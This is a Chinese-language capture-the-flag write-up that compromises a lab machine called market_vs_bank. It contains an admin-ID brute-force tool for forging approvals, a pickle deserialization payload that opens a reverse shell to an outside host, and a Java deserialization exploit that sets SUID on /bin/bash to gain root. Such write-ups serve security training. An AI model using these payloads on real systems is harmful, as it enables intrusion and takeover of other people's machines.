群友靶机market_vs_bank复现
nmap -p- 192.168.10.5
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 03:10 EST
Nmap scan report for bank-server (192.168.10.5)
Host is up (0.00079s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp closed mysql
8000/tcp open http-alt
14646/tcp open unknown
MAC Address: 08:00:27:FA:2A:6A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
80端口可以下载客户端,连上可以访问14646端口管理系统,8000端口是市场系统。先注册一个号,发现需要绑定hash。然后大致看了一下是要去拿到管理员权限或者去伪造权限做到审批。那么现在的重点就是去逆向这个jar包。
注意到管理员和普通用户的客户端系统是不一样的

因此可以去改jar包来直接拿到管理员客户端进行审批。
另外一种思路。去看审批部分的代码

import java.io.*;
import java.net.Socket;
public class AdminBypassTool {
public static void main(String[] args) {
String host = "192.168.10.5";
int port = 14646; // 请根据 ServerConfigFrame 中的实际端口修改
int targetRequestId = 10;
System.out.println("开始尝试绕过权限审批,目标申请ID: " + targetRequestId);
// 尝试爆破 adminId (通常管理员ID为 1, 2, 3...)
for (int fakeAdminId = 1; fakeAdminId <= 50; fakeAdminId++) {
try (Socket socket = new Socket(host, port);
ObjectOutputStream out = new ObjectOutputStream(socket.getOutputStream())) {
out.flush();
ObjectInputStream in = new ObjectInputStream(socket.getInputStream());
// 1. 握手阶段
out.writeObject("PING");
out.flush();
Object pong = in.readObject();
if ("PONG".equals(pong)) {
// 2. 发送伪造审批指令
out.writeObject("APPROVE_DEPOSIT_REQUEST");
out.writeObject(targetRequestId); // requestId
out.writeObject(fakeAdminId); // 尝试不同的 adminId
out.writeObject("Security Testing Approve"); // remark
out.flush();
// 3. 读取结果
Object result = in.readObject();
if (result instanceof Boolean && (Boolean) result) {
System.out.println("[成功] 成功使用管理员ID: " + fakeAdminId + " 批准了申请!");
break;
} else {
System.out.println("[失败] 管理员ID " + fakeAdminId + " 验证失败或无权限。");
}
}
} catch (Exception e) {
System.err.println("[错误] 连接服务器失败: " + e.getMessage());
break;
}
}
}
}
爆破一下管理员id,拿下审批获得存款。取款然后购买神秘物质在/r00t_rooteabcsd.html路径下拿到root:toorcatshadow
发现系统配置相关功能,提示是pickle,大概率是打pickle反序列化。
直接一个反弹shell
import os
import pickle
import base64
LHOST = "192.168.10.11"
LPORT = "6666"
COMMAND = f'''export RHOST="{LHOST}";export RPORT={LPORT};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")\''''
# --- Payload 生成逻辑 ---
class Exploit(object):
def __reduce__(self):
# 执行系统命令
return (os.system, (COMMAND,))
exp = Exploit()
payload = base64.b64encode(pickle.dumps(exp)).decode()
print("\n" + "="*50)
print("最终优化版 Base64 Payload:")
print("="*50 + "\n")
print(payload)
print("\n" + "="*50)
banker@bank-server:/opt/market$ id
uid=1000(banker) gid=1000(banker) groups=1000(banker)
现在拿下banker权限,开始考虑提权。发现可以sudo免密运行jar包。把jar包搞下来,逆向。
把代码丢给ai分析一下,发现反序列化漏洞。
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // 执行默认反序列化
if (this.initCommand != null && !this.initCommand.isEmpty()) {
try {
// 关键点:反序列化完成后立即执行 initCommand 中的命令
Runtime.getRuntime().exec(this.initCommand);
} catch (IOException e) {
}
}
}

在 Java 反序列化过程中,如果一个类重写了 readObject,那么在调用 ObjectInputStream.readObject() 时会自动执行该方法。由于该 jar 包被赋予了 sudo 权限,Runtime.getRuntime().exec() 启动的子进程将继承父进程的 root 权限。
ai给了一份提权方案
banker@bank-server:/tmp$ vim Poc.java
banker@bank-server:/tmp$ cat Poc.java
import com.bank.admin.AdminConfig;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Poc {
public static void main(String[] args) {
try {
// 1. 创建恶意配置对象
AdminConfig config = new AdminConfig();
// 2. 核心 Payload: 给 /bin/bash 加上 SUID 权限
config.setInitCommand("chmod u+s /bin/bash");
// 3. 关键点:文件名必须叫 admin.config
String filename = "admin.config";
FileOutputStream fos = new FileOutputStream(filename);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(config);
oos.close();
System.out.println("[+] Malicious config generated: " + filename);
} catch (Exception e) {
e.printStackTrace();
}
}
}
banker@bank-server:/tmp$ javac -cp /opt/bank-admin-tool-1.0.0.jar Poc.java
banker@bank-server:/tmp$ java -cp .:/opt/bank-admin-tool-1.0.0.jar Poc
[+] Malicious config generated: admin.config
banker@bank-server:/tmp$ sudo /usr/bin/bank-admin-tool
===========================================
Bank Server Administration Tool v1.0
===========================================
Configuration loaded from admin.config
Connecting to localhost:14646...
Connected successfully.
Admin Username: admin
Admin Password: admin
✗ Login failed
Authentication failed. Exiting...
Disconnected from server.
banker@bank-server:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
banker@bank-server:/tmp$ /bin/bash -p
bash-5.0# id
uid=1000(banker) gid=1000(banker) euid=0(root) groups=1000(banker)
bash-5.0# cat /root/root.txt
flag{root-22ca34af1207f0478173b7a793b591bb47d5437d51377abb597a7f6bec3073da}
非常感谢您的参与 诸事顺遂
-by DingTom (MazeSec Team)
jar包启动加载配置并反序列化,伪造一个admin.config,让其中的 initCommand 包含提权指令,当 root 运行程序读取文件时,指令就会执行。
艰难困苦,玉汝于成

浙公网安备 33010602011771号